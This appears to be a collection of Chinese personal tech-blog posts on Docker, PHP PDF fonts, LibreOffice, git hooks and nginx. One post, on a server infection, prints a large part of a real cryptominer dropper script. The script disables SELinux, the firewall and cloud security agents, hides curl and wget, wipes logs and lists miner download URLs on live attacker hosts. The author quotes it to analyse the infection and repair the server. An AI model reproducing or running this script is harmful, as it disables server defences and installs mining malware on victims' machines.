简客-记忆

抽象的才是永恒的

0%

安装docker

1
yum update

安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的

1
yum install -y yum-utils device-mapper-persistent-data lvm2

设置yum源

1
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

可以查看所有仓库中所有docker版本,并选择特定版本安装

1
yum list docker-ce --showduplicates | sort -r

安装指定版本或者最新版本

1
yum install docker-ce-17.12.1.ce

或者

1
yum install docker-ce

启动Docker,命令:systemctl start docker,然后加入开机启动,如下

1
2
systemctl start docker
systemctl enable docker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[root@ecs02-4c8g ~]# docker version
Client: Docker Engine - Community
Version: 20.10.8
API version: 1.41
Go version: go1.16.6
Git commit: 3967b7d
Built: Fri Jul 30 19:55:49 2021
OS/Arch: linux/amd64
Context: default
Experimental: true

Server: Docker Engine - Community
Engine:
Version: 20.10.8
API version: 1.41 (minimum version 1.12)
Go version: go1.16.6
Git commit: 75249d8
Built: Fri Jul 30 19:54:13 2021
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.4.9
GitCommit: e25210fe30a0a703442421b0f60afac609f950a3
runc:
Version: 1.0.1
GitCommit: v1.0.1-0-g4144b63
docker-init:
Version: 0.19.0
GitCommit: de40ad0

开始

新建easyswooletest目录,并在里面新建Dockerfile

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
FROM centos:7

#version defined
ENV SWOOLE_VERSION 4.4.26
ENV EASYSWOOLE_VERSION 3.4.x

#install libs
RUN yum install -y curl zip unzip wget openssl-devel gcc-c++ make autoconf git epel-release
RUN yum install -y dnf
RUN dnf -y install https://rpms.remirepo.net/enterprise/remi-release-7.rpm
#install php
RUN yum --enablerepo=remi install -y php74-php php74-php-devel php74-php-mbstring php74-php-json php74-php-simplexml php74-php-gd

RUN ln -s /opt/remi/php74/root/usr/bin/php /usr/bin/php \
&& ln -s /opt/remi/php74/root/usr/bin/phpize /usr/bin/phpize \
&& ln -s /opt/remi/php74/root/usr/bin/php-config /usr/bin/php-config

# composer
RUN curl -sS https://getcomposer.org/installer | php \
&& mv composer.phar /usr/bin/composer && chmod +x /usr/bin/composer
# use aliyun composer 由于最近阿里云镜像不稳定,废弃使用
# RUN composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

# swoole ext
RUN wget https://github.com/swoole/swoole-src/archive/v${SWOOLE_VERSION}.tar.gz -O swoole.tar.gz \
&& mkdir -p swoole \
&& tar -xf swoole.tar.gz -C swoole --strip-components=1 \
&& rm swoole.tar.gz \
&& ( \
cd swoole \
&& phpize \
&& ./configure --enable-openssl \
&& make \
&& make install \
) \
&& sed -i "2i extension=swoole.so" /etc/opt/remi/php74/php.ini \
&& rm -r swoole

# Dir
WORKDIR /easyswoole
# install easyswoole
RUN cd /easyswoole \
&& composer require easyswoole/easyswoole=${EASYSWOOLE_VERSION} \
&& php vendor/easyswoole/easyswoole/bin/easyswoole install

EXPOSE 9501

以上面Dockerfile创建一个myeasyswooletest镜像

1
docker build -t myeasyswooletest .

安装完毕后,新建一个容器

1
docker run --name=mytest -ti -p 9501:9501 myeasyswooletest

-ti 启动容器后直接进入容器终端
-p 容器端口映射到外部端口

此时发现容器根目录中存在easyswoole项目目录,为了方便开发,需要做目录映射,由于直接映射会覆盖掉容器中对应目录的内容,需要在宿主机安装easyswoole再进行映射,因此这里先将容器中项目目录拷贝出来,再重新创建容器并映射目录

拷贝文件目录到宿主机中

1
2
docker cp {dockerId}:/easyswoole /www/wwwroot/myeasyswoolestest

关闭并删除容器

1
2
3
docker stop {dockerId}

docker rm {dockerId}

启动容器并映射目录

1
docker run -ti -p 9501:9501 --restart=always  -v /www/wwwroot/myeasyswooletest:/easyswoole myeasyswooletest7

-t:在新容器内指定一个伪终端或终端。

-i:允许你对容器内的标准输入 (STDIN) 进行交互。

-d:让容器在后台运行。

-P:将容器内部使用的网络端口映射到我们使用的主机上。

-p : 是容器内部端口绑定到指定的主机端口

-v:参数用于数据卷映射,/home/vpaas 是宿主机卷标,/usr/local/vpaas_file 是容器卷标

–name: 容器名称

vpaas:latest: 创建的镜像名

数据卷的作用:

docker 镜像启动的容器和宿主机可以看成两个不同的Linux系统,这两个文件系统之间传输文件就是用数据卷进行传输的。

宿主机将文件放入到 /home/vpaas 中,通过容器卷标 /usr/local/vpaas_file 就可以看到放入的文件,类似于文件夹共享。

进入容器

1
docker exec -it {dockerId} /bin/bash

在容器内安装—为了word转pdf

1
2
3
yum install -y libreoffice 
yum install -y unoconv
yum install -y ImageMagick

通过容器生成镜像

1
docker commit -m "安装word转pdf的依赖" {dockerId} newserver

-m:提交的描述信息

-a: 指定镜像作者

e218edb10161:容器ID

newserver: 指定要创建的目标镜像名

重新新建容器

1
docker run -ti -p 9501:9501 --restart=always  -v /www/wwwroot/myeasyswooletest:/easyswoole newserver

拷贝一个docx文件到容器内试试

1
docker cp /www/kkjj.docx {dockerId}:/www/

转换一下

1
soffice --headless --invisible --convert-to pdf kkjj.docx --outdir ./

发现有乱码(不支持中文)

将本地的中文字体放到一起,一起拷贝过去

1
docker cp /usr/share/fonts/chinese ae4c6f7a8b6d:/usr/share/fonts

中文可以显示了

将pdf转图片

1
convert  kkjj.pdf -resize 500% -quality 100 -sharpen 0x1.0 kkjj.png

将镜像发布出去

1
docker login
1
docker images

重命名镜像tag

1
docker tag 94998885c9d4 hottredpen/newserver

推送到自己的仓库

1
docker push hottredpen/newserver

推送太慢,就打包到本地

1
docker save -o pdf.tar pdfserver1.4

另一台机器上安装本地包

1
docker load < pdf.tar

##其他

pfdi添加中文字体

1
https://github.com/DCgithub21/cd_FPDF/blob/master/chinese.php

新增一个PDFChinese.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
<?php
namespace setasign\Fpdi;

$Big5_widths = array(' '=>250,'!'=>250,'"'=>408,'#'=>668,'$'=>490,'%'=>875,'&'=>698,'\''=>250,
'('=>240,')'=>240,'*'=>417,'+'=>667,','=>250,'-'=>313,'.'=>250,'/'=>520,'0'=>500,'1'=>500,
'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>250,';'=>250,
'<'=>667,'='=>667,'>'=>667,'?'=>396,'@'=>921,'A'=>677,'B'=>615,'C'=>719,'D'=>760,'E'=>625,
'F'=>552,'G'=>771,'H'=>802,'I'=>354,'J'=>354,'K'=>781,'L'=>604,'M'=>927,'N'=>750,'O'=>823,
'P'=>563,'Q'=>823,'R'=>729,'S'=>542,'T'=>698,'U'=>771,'V'=>729,'W'=>948,'X'=>771,'Y'=>677,
'Z'=>635,'['=>344,'\\'=>520,']'=>344,'^'=>469,'_'=>500,'`'=>250,'a'=>469,'b'=>521,'c'=>427,
'd'=>521,'e'=>438,'f'=>271,'g'=>469,'h'=>531,'i'=>250,'j'=>250,'k'=>458,'l'=>240,'m'=>802,
'n'=>531,'o'=>500,'p'=>521,'q'=>521,'r'=>365,'s'=>333,'t'=>292,'u'=>521,'v'=>458,'w'=>677,
'x'=>479,'y'=>458,'z'=>427,'{'=>480,'|'=>496,'}'=>480,'~'=>667);

$GB_widths = array(' '=>207,'!'=>270,'"'=>342,'#'=>467,'$'=>462,'%'=>797,'&'=>710,'\''=>239,
'('=>374,')'=>374,'*'=>423,'+'=>605,','=>238,'-'=>375,'.'=>238,'/'=>334,'0'=>462,'1'=>462,
'2'=>462,'3'=>462,'4'=>462,'5'=>462,'6'=>462,'7'=>462,'8'=>462,'9'=>462,':'=>238,';'=>238,
'<'=>605,'='=>605,'>'=>605,'?'=>344,'@'=>748,'A'=>684,'B'=>560,'C'=>695,'D'=>739,'E'=>563,
'F'=>511,'G'=>729,'H'=>793,'I'=>318,'J'=>312,'K'=>666,'L'=>526,'M'=>896,'N'=>758,'O'=>772,
'P'=>544,'Q'=>772,'R'=>628,'S'=>465,'T'=>607,'U'=>753,'V'=>711,'W'=>972,'X'=>647,'Y'=>620,
'Z'=>607,'['=>374,'\\'=>333,']'=>374,'^'=>606,'_'=>500,'`'=>239,'a'=>417,'b'=>503,'c'=>427,
'd'=>529,'e'=>415,'f'=>264,'g'=>444,'h'=>518,'i'=>241,'j'=>230,'k'=>495,'l'=>228,'m'=>793,
'n'=>527,'o'=>524,'p'=>524,'q'=>504,'r'=>338,'s'=>336,'t'=>277,'u'=>517,'v'=>450,'w'=>652,
'x'=>466,'y'=>452,'z'=>407,'{'=>370,'|'=>258,'}'=>370,'~'=>605);

class PDFChinese extends \FPDF
{
function AddCIDFont($family, $style, $name, $cw, $CMap, $registry)
{
$fontkey = strtolower($family).strtoupper($style);
if(isset($this->fonts[$fontkey]))
$this->Error("Font already added: $family $style");
$i = count($this->fonts)+1;
$name = str_replace(' ','',$name);
$this->fonts[$fontkey] = array('i'=>$i, 'type'=>'Type0', 'name'=>$name, 'up'=>-130, 'ut'=>40, 'cw'=>$cw, 'CMap'=>$CMap, 'registry'=>$registry);
}

function AddCIDFonts($family, $name, $cw, $CMap, $registry)
{
$this->AddCIDFont($family,'',$name,$cw,$CMap,$registry);
$this->AddCIDFont($family,'B',$name.',Bold',$cw,$CMap,$registry);
$this->AddCIDFont($family,'I',$name.',Italic',$cw,$CMap,$registry);
$this->AddCIDFont($family,'BI',$name.',BoldItalic',$cw,$CMap,$registry);
}

function AddBig5Font($family='Big5', $name='MSungStd-Light-Acro')
{
// Add Big5 font with proportional Latin
$cw = $GLOBALS['Big5_widths'];
$CMap = 'ETenms-B5-H';
$registry = array('ordering'=>'CNS1', 'supplement'=>0);
$this->AddCIDFonts($family,$name,$cw,$CMap,$registry);
}

function AddBig5hwFont($family='Big5-hw', $name='MSungStd-Light-Acro')
{
// Add Big5 font with half-witdh Latin
for($i=32;$i<=126;$i++)
$cw[chr($i)] = 500;
$CMap = 'ETen-B5-H';
$registry = array('ordering'=>'CNS1', 'supplement'=>0);
$this->AddCIDFonts($family,$name,$cw,$CMap,$registry);
}

function AddGBFont($family='GB', $name='STSongStd-Light-Acro')
{
// Add GB font with proportional Latin
$cw = $GLOBALS['GB_widths'];
$CMap = 'GBKp-EUC-H';
$registry = array('ordering'=>'GB1', 'supplement'=>2);
$this->AddCIDFonts($family,$name,$cw,$CMap,$registry);
}

function AddGBhwFont($family='GB-hw', $name='STSongStd-Light-Acro')
{
// Add GB font with half-width Latin
for($i=32;$i<=126;$i++)
$cw[chr($i)] = 500;
$CMap = 'GBK-EUC-H';
$registry = array('ordering'=>'GB1', 'supplement'=>2);
$this->AddCIDFonts($family,$name,$cw,$CMap,$registry);
}

function GetStringWidth($s)
{
if($this->CurrentFont['type']=='Type0')
return $this->GetMBStringWidth($s);
else
return parent::GetStringWidth($s);
}

function GetMBStringWidth($s)
{
// Multi-byte version of GetStringWidth()
$l = 0;
$cw = &$this->CurrentFont['cw'];
$nb = strlen($s);
$i = 0;
while($i<$nb)
{
$c = $s[$i];
if(ord($c)<128)
{
$l += $cw[$c];
$i++;
}
else
{
$l += 1000;
$i += 2;
}
}
return $l*$this->FontSize/1000;
}

function MultiCell($w, $h, $txt, $border=0, $align='L', $fill=0)
{
if($this->CurrentFont['type']=='Type0')
$this->MBMultiCell($w,$h,$txt,$border,$align,$fill);
else
parent::MultiCell($w,$h,$txt,$border,$align,$fill);
}

function MBMultiCell($w, $h, $txt, $border=0, $align='L', $fill=0)
{
// Multi-byte version of MultiCell()
$cw = &$this->CurrentFont['cw'];
if($w==0)
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
$s = str_replace("\r",'',$txt);
$nb = strlen($s);
if($nb>0 && $s[$nb-1]=="\n")
$nb--;
$b = 0;
if($border)
{
if($border==1)
{
$border = 'LTRB';
$b = 'LRT';
$b2 = 'LR';
}
else
{
$b2 = '';
if(is_int(strpos($border,'L')))
$b2 .= 'L';
if(is_int(strpos($border,'R')))
$b2 .= 'R';
$b = is_int(strpos($border,'T')) ? $b2.'T' : $b2;
}
}
$sep = -1;
$i = 0;
$j = 0;
$l = 0;
$nl = 1;
while($i<$nb)
{
// Get next character
$c = $s[$i];
// Check if ASCII or MB
$ascii = (ord($c)<128);
if($c=="\n")
{
// Explicit line break
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
$i++;
$sep = -1;
$j = $i;
$l = 0;
$nl++;
if($border && $nl==2)
$b = $b2;
continue;
}
if(!$ascii)
{
$sep = $i;
$ls = $l;
}
elseif($c==' ')
{
$sep = $i;
$ls = $l;
}
$l += $ascii ? $cw[$c] : 1000;
if($l>$wmax)
{
// Automatic line break
if($sep==-1 || $i==$j)
{
if($i==$j)
$i += $ascii ? 1 : 2;
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
}
else
{
$this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill);
$i = ($s[$sep]==' ') ? $sep+1 : $sep;
}
$sep = -1;
$j = $i;
$l = 0;
$nl++;
if($border && $nl==2)
$b = $b2;
}
else
$i += $ascii ? 1 : 2;
}
// Last chunk
if($border && is_int(strpos($border,'B')))
$b .= 'B';
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
$this->x = $this->lMargin;
}

function Write($h, $txt, $link='')
{
if($this->CurrentFont['type']=='Type0')
$this->MBWrite($h,$txt,$link);
else
parent::Write($h,$txt,$link);
}

function MBWrite($h, $txt, $link)
{
// Multi-byte version of Write()
$cw = &$this->CurrentFont['cw'];
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
$s = str_replace("\r",'',$txt);
$nb = strlen($s);
$sep = -1;
$i = 0;
$j = 0;
$l = 0;
$nl = 1;
while($i<$nb)
{
// Get next character
$c = $s[$i];
// Check if ASCII or MB
$ascii = (ord($c)<128);
if($c=="\n")
{
// Explicit line break
$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
$i++;
$sep = -1;
$j = $i;
$l = 0;
if($nl==1)
{
$this->x = $this->lMargin;
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
}
$nl++;
continue;
}
if(!$ascii || $c==' ')
$sep = $i;
$l += $ascii ? $cw[$c] : 1000;
if($l>$wmax)
{
// Automatic line break
if($sep==-1 || $i==$j)
{
if($this->x>$this->lMargin)
{
// Move to next line
$this->x = $this->lMargin;
$this->y += $h;
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
$i++;
$nl++;
continue;
}
if($i==$j)
$i += $ascii ? 1 : 2;
$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
}
else
{
$this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',0,$link);
$i = ($s[$sep]==' ') ? $sep+1 : $sep;
}
$sep = -1;
$j = $i;
$l = 0;
if($nl==1)
{
$this->x = $this->lMargin;
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
}
$nl++;
}
else
$i += $ascii ? 1 : 2;
}
// Last chunk
if($i!=$j)
$this->Cell($l/1000*$this->FontSize,$h,substr($s,$j,$i-$j),0,0,'',0,$link);
}

function _putType0($font)
{
// Type0
$this->_newobj();
$this->_out('<</Type /Font');
$this->_out('/Subtype /Type0');
$this->_out('/BaseFont /'.$font['name'].'-'.$font['CMap']);
$this->_out('/Encoding /'.$font['CMap']);
$this->_out('/DescendantFonts ['.($this->n+1).' 0 R]');
$this->_out('>>');
$this->_out('endobj');
// CIDFont
$this->_newobj();
$this->_out('<</Type /Font');
$this->_out('/Subtype /CIDFontType0');
$this->_out('/BaseFont /'.$font['name']);
$this->_out('/CIDSystemInfo <</Registry '.$this->_textstring('Adobe').' /Ordering '.$this->_textstring($font['registry']['ordering']).' /Supplement '.$font['registry']['supplement'].'>>');
$this->_out('/FontDescriptor '.($this->n+1).' 0 R');
if($font['CMap']=='ETen-B5-H')
$W = '13648 13742 500';
elseif($font['CMap']=='GBK-EUC-H')
$W = '814 907 500 7716 [500]';
else
$W = '1 ['.implode(' ',$font['cw']).']';
$this->_out('/W ['.$W.']>>');
$this->_out('endobj');
// Font descriptor
$this->_newobj();
$this->_out('<</Type /FontDescriptor');
$this->_out('/FontName /'.$font['name']);
$this->_out('/Flags 6');
$this->_out('/FontBBox [0 -200 1000 900]');
$this->_out('/ItalicAngle 0');
$this->_out('/Ascent 800');
$this->_out('/Descent -200');
$this->_out('/CapHeight 800');
$this->_out('/StemV 50');
$this->_out('>>');
$this->_out('endobj');
}
}

改造fpdi下的fpdfTpl.php,改造后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
use setasign\Fpdi\PDFChinese;
/**
* This file is part of FPDI
*
* @package setasign\Fpdi
* @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com)
* @license http://opensource.org/licenses/mit-license The MIT License
*/

namespace setasign\Fpdi;

/**
* Class FpdfTpl
*
* This class adds a templating feature to FPDF.
*/
// class FpdfTpl extends \FPDF
class FpdfTpl extends PDFChinese
{
use FpdfTplTrait;
}
1
2
3
4
5
6
7
8
9
10
//使用字体
//$pdf->SetFont('Times');
$pdf->AddGBFont('simhei'); //宋体songti, 黑体simhei
$pdf->SetFont('simhei','',6);


//注意此处一定要用iconv改一下编码
$pdf->Write(0,iconv("utf-8","gbk","联系方式:"));
$pdf->SetXY(120, 275);
$pdf->Write(0,iconv("utf-8","gbk","电话:"));

下载:

访问 https://www.libreoffice.org/download/download/
选择 Linux x86_64(rpm) 的版本
下载得到 LibreOffice_7.0.6_Linux_x86-64_rpm.tar.gz (目前最新版为 7.0.6)
安装:

删除: 在安装之前,先删除已经安装的 LibreOffice:

1
yum remove libreoffice*

解压:

1
tar -xvf LibreOffice_7.0.6_Linux_x86-64_rpm.tar.gz

安装:

1
2
cd LibreOffice_7.0.6_Linux_x86-64_rpm/RPMS
yum localinstall *.rpm

查看:
which libreoffice7.0 看到路径为 /usr/bin/libreoffice7.0
ll /usr/bin/libreoffice7.0 得到 /opt/libreoffice7.0/program/soffice,说明安装到了 /opt/libreoffice7.0
依赖:
执行下面几条命令安装需要的库:

1
2
3
yum install cairo -y
yum install cups-libs -y
yum install libSM -y

请求数据中的有用数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
which   // 小爱同学还是天猫精灵
version // 版本号
session/user // 知道是谁 在用
app_id/skill_id // 技能id 知道是什么技能发起

请求内容
timestamp 时间戳
request_id 请求id(非必填)

query 请求文本原始文本

// 上下文
context

追问内容的自定义

1 - 需要设置属性为必填属性

2 - 追问的内容先设置一下通用的

3 - 在多轮回答中填写内容,不要直接在追问下面填写

背景

同一台服务器内(git仓库和代码在同一台),以前总是手动去更新代码,一直想用githook去同步,但想着这样直接更新线上代码不好,所以一直没去弄。

最近这台服务器渐渐变成了测试服务器,也就不存在直接更新代码的不好了,真想向svn那样直接看到效果。

所以弄一下git hook

没想到这也遇到了一些坑

参考

使用 Git 同步部署代码(二) - Git Hook 同步

Git error: “Host Key Verification Failed” when connecting to remote repository

为什么会入坑

1、一直用root账户使用服务器,但提交代码时,是以git身份更新
2、设置了git账户不能登录(当初配置的时候禁用了登录,所以不能收到具体的错误提示,一直在瞎猜)
3、设置目录的权限给了www

配置过程

git项目仓库在 hooks 目录下新建 post-update 文件,编辑完成后设置权限 chmod +x post-update, 文件如下

1
2
3
4
5
#!/bin/sh
unset GIT_DIR
DIR_ONE=/www/wwwroot/demo/ #正式目录
cd $DIR_ONE
git pull git_library master #新建项目 remote 默认是 origin

坑位

1、错误提示

1
2
3
remote: ------
remote: Host key verification failed.
remote: fatal: The remote end hung up unexpectedly

解决方法:

1
2
3
4
5
su git
// 接着到项目地址处,尝试执行
git pull origin master
// 会跳出是否允许 host的提示,选择yes

2、我的仓库地址,长这样(其实没什么问题,只是网络上的和我都不一样)

1
ssh://git@47.xx.xx.82:8080/home/git/data/company/xxx.git

3、错误提示2

1
2
3
4
5
6
7
8
error: insufficient permission for adding an object to repository database ./objects

[core]
fatal: failed to write object
error: 远程解包失败:unpack-objects abnormal exit
To ssh://47.xx.xx.82:8080/home/git/data/company/xxx.git
! [remote rejected] master -> master (n/a (unpacker error))
error: 推送一些引用到 'ssh://47.xx.xx.82:8080/home/git/data/company/xxx.git' 失败

解决方法:
因为项目目录的权限是www的。导致更新不了。

1
chown -R git:git ./xxxx

6.20

  • 根据$missionId 获取game的关卡的SpriteItem
  • game结束 ,结算并保存到 结算表内
  • 从结算表中获取 getGameOverGoods

6.21

  • 去掉fmManager 改为 OnlinePlayer

6.22

  • 游戏结束后的结算页面

6.24

  • 关卡内的9*9个数据库配置
    • bug,只能显示一个人的

      6.26

  • 开始游戏获取player数据
    • todo server_no的选择
  • 退出游戏中,重置游戏
  • 进入房间和退出房间事件

待做

  • 每个关卡的胜利条件的修改

背景

发现top命令非常卡,通过查看 top

参考

一次惨痛的教训:被pnscan病毒攻击的经过
https://blog.csdn.net/chenmozhe22/article/details/112578057

主要代码 newinit.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/zzhs
rtdir="/etc/zzhs"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cd1"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wd1"
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/url /usr/bin/cd1
mv /usr/bin/cur /usr/bin/cd1
mv /usr/bin/cdl /usr/bin/cd1
mv /usr/bin/cdt /usr/bin/cd1
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/get /usr/bin/wd1
mv /usr/bin/wge /usr/bin/wd1
mv /usr/bin/wdl /usr/bin/wd1
mv /usr/bin/wdt /usr/bin/wd1
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
if ps aux | grep -i '[a]liyun'; then
$bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
$bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
$bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
$bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %

rm -rf /usr/local/aegis
rm -f /tmp/.null 2>/dev/null

miner_url="http://195.58.39.46/cleanfda/zzh"
miner_url_backup="http://py2web.store/cleanfda/zzh"
miner_size="6006304"
sh_url="http://195.58.39.46/cleanfda/newinit.sh"
sh_url_backup="http://py2web.store/cleanfda/newinit.sh"
config_url="http://195.58.39.46/cleanfda/config.json"
config_url_backup="http://py2web.store/cleanfda/config.json"
config_size="2758"
chattr_size="8000"

sleep 1
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get install -y unhide
apt-get install -y gawk
fi
if [ -x "$(command -v yum)" ]; then
yum install -y epel-release
yum install -y unhide
yum install -y gawk
fi

sleep 1
dddir="/usr/sbin/unhide"
$dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null

sleep 1
if [ -x "$(command -v chattr)" ]; then
chattr -i /usr/bin/ip6network
chattr -i /usr/bin/kswaped
chattr -i /usr/bin/irqbalanced
chattr -i /usr/bin/rctlcli
chattr -i /usr/bin/systemd-network
chattr -i /usr/bin/pamdicks
echo 1 > /usr/bin/ip6network
echo 2 > /usr/bin/kswaped
echo 3 > /usr/bin/irqbalanced
echo 4 > /usr/bin/rctlcli
echo 5 > /usr/bin/systemd-network
echo 6 > /usr/bin/pamdicks
chattr +i /usr/bin/ip6network
chattr +i /usr/bin/kswaped
chattr +i /usr/bin/irqbalanced
chattr +i /usr/bin/rctlcli
chattr +i /usr/bin/systemd-network
chattr +i /usr/bin/pamdicks
fi
if [ -x "$(command -v t)" ]; then
/usr/bin/t -i /usr/bin/ip6network
/usr/bin/t -i /usr/bin/kswaped
/usr/bin/t -i /usr/bin/irqbalanced
/usr/bin/t -i /usr/bin/rctlcli
/usr/bin/t -i /usr/bin/systemd-network
/usr/bin/t -i /usr/bin/pamdicks
echo 1 > /usr/bin/ip6network
echo 2 > /usr/bin/kswaped
echo 3 > /usr/bin/irqbalanced
echo 4 > /usr/bin/rctlcli
echo 5 > /usr/bin/systemd-network
echo 6 > /usr/bin/pamdicks
/usr/bin/t +i /usr/bin/ip6network
/usr/bin/t +i /usr/bin/kswaped
/usr/bin/t +i /usr/bin/irqbalanced

/usr/bin/t +i /usr/bin/rctlcli
/usr/bin/t +i /usr/bin/systemd-network
/usr/bin/t +i /usr/bin/pamdicks
fi

mv /usr/bin/t /usr/bin/chattr

sleep 1

kill_miner_proc()
{
netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %

分析主要的过程

开始逆向修复

尝试将SELinux工作模式 切换成 宽容模式

1
setenforce 0 2>dev/null

参考:
SELinux工作模式设置(getenforce、setenforce和sestatus命令)
http://c.biancheng.net/view/3921.html

1、先打开charles

2、查看pc的ip地址

3、在手机端与pc同wifi下(或者mac提供的热点wifi),手动设置代理一般为 pc 的ip 加8888端口

4、这样就能抓包普通的http请求了

5、抓包https,需要手机端安装charles证书
https://www.cnblogs.com/xiaozi/p/9229615.html

6、安装完后,可能还会出现“SSL handshake failed - Remote host closed connection during handshake”
https://www.neglectedpotential.com/2017/04/trusting-custom-root-certificates-on-ios-10-3/
通用->关于本机->证书信任设置中开启对刚才证书的信任

只要配置这几个参数就好

1
2
3
proxy_connect_timeout; 
proxy_read_timeout;
proxy_send_timeout;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
location ^~ /websocket {
proxy_pass http://127.0.0.1:9002;
proxy_redirect off;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_http_version 1.1;
proxy_connect_timeout 4s; #配置点1
